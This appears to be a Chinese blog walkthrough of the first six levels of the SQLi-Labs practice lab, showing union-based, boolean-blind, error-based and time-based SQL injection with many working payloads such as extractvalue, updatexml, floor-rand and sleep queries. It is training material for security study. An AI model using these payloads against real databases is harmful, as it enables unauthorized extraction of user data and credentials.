SQLi-Labs之1~6关 - 常规注入与盲注
年初五 财神入
第一关
联合注入
1.准备
2.加'截断
3.order by 判断查询列数
4.同上
5.联合查询判断字段位置
6.查数据库名
7.1 查表名
7.2 查列名
8.查数据
第二关
不需要单引号截断,查询代码用了整数值
其余与第一关相同
第三关
说明用了(' ')结构
换成')即可
第四关
说明用了(" ")结构
换成")即可
第五关
不管输入什么都是提示u r in....
没有回显,尝试盲注
布尔盲注
布尔盲注方式有————
left(1,2)=3 //从左侧截取1的前2位,与3的值比较
ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值
regexp //正则匹配目标值和a-z指定值,正确为1,错误为0
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)
like //和regexp一样
ord() 和 mid()
(1)用left
1.测试
2.测试数据库第一位是否大于b
是否大于y
由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试
前两位这样测,以此类推
(2)用length量数据库长度
(3)用substr和ascii
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
测试表名第一位是不是e
第二位把substr(x,2,1)改成2即可,以此类推
获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值
(4)用regexp
猜users表的列
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)
(5)用ord和mid
获取user表内容
and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68
获取users表中username中的第一行的第一个字符的ascii,与68进行比较
报错盲注
报错盲注类型有————
count,floor,group by
double数值超出范围
bigint溢出 xpath函数——extractvalue和updatexml
数据重复性
(1)floor函数
union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a
(2)double数值超出范围
(没能复现成功)
union select (exp(~(select*from(select user())x))),2,3
(3)bigint溢出
(也未能复现成功)
union select(!(select * from(select user())x) - ~0),2,3
(4)xpath函数
and extractvalue(1,concat(0x7e,(select @@version),0x7e))
and updatexml(1,concat(0x7e,(select@@version),0x7e),1)
(5)数据重复性
union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x
时间盲注
时间盲注类型有————
sleep()函数
BENCHMARK()函数
(1)sleep函数
错误,延时5秒
正确
and If(ascii(substr(database(),1,1))=115,1,sleep(5))
(2)BENCHMARK函数
正确
UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1
当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源
第六关
对id参数进行了处理,把'换成''即可
至此已基本介绍完一般注入类型
SQLi-Labs之1~6关 - 常规注入与盲注的更多相关文章
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关
0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...
- SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)
开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...
- webgote的例子(6)SQL注入(盲注)
SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- SQL注入:盲注
盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- ctfhub技能树—sql注入—时间盲注
打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...
- DVWA-sql注入(盲注)
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
随机推荐
- be accustomed to doing|actual |acute|adapt |
Sometimes you've got to play a position that you're not accustomedto for 90 minutes, " he said. ...
- vue项目中net::ERR_CONNECTION_TIMED_OUT错误
我出错的原因时network地址与我本机ip地址不一致 Network: http://192.168.13.30:8080/ 处理方法: 在vue项目中新建一个vue.config.js文件 配置上 ...
- 64位WIN7 配置IIS遇到问题
App_global.asax.sr8_llzl.dll' -- '拒绝访问. 设置c:windows\temp 目录访问权限 temp--> 属性-->安全-- > 添加IIS_I ...
- Markdown快速使用指南
Markdown 是一种轻量级的标记语言,他简洁.高效,目前被越来越多的写作爱好者,撰稿者广泛使用.Markdown的语法十分简单.常用的标记符号也不超过十个,这种相对于更为复杂的 HTML 标记语言 ...
- mysql中事务的并发问题与隔离级别
回归一下事务的四大特性ACID 1.原子性(Atomicity) 事务开始后所有操作,要么全部做完,要么全部不做.事务是一个不可分割的整体.事务在执行过程中出错,会回滚到事务开始之前的状态,以此来保证 ...
- json/xml processing model与xml和json的简要区别
1.JavaScript Object Notation(JSON) JSON是一种轻量级数据交换格式,广泛用作通用格式,用于序列化和反序列化通过Internet相互通信的应用程序中的数据.这些应用程 ...
- 重大改革!Python,最接近人工智能的语言~将被加入高考科目!
就在前几天,和一位浙江省高校的信息技术老师聊天,我得到了一个震惊的消息: 明年,浙江省信息技术教材将不会在使用晦涩难懂的VB语言,而是改学更简单易懂的Python语言.也就是说, Python语言将纳 ...
- Ubuntu 14.04 下NFS安装配置
1.执行命令:sudo apt-get install nfs-kernel-server; 2.执行命令:mkdir /home/jack/nfs-share 建立一个nfs服务的专有的文件夹; 3 ...
- 等效燃油消耗ECMS与庞德里亚金最小值原理PMP中协同状态的关系
今儿阅读了一篇文献——<车联网环境下并联混合动力客车控制策略优化研究>,是北理的博士所写的,内容比较翔实.主要是里面的关于ECMS和庞德里亚金最小值原理(PMP)的关系推导很让人印象深刻, ...
- 使用HtmlAgilityPack和ScrapySharp抓取网页数据遇到的几个问题解决方法——格式编码问题
需要用到对应市区县街道居委会的区域编码,于是找到统计局的网页,对这些数据进行抓取,用到了HtmlAgilityPack和ScrapySharp,由于也是第一次从网页抓取数据,所以对于HtmlAgili ...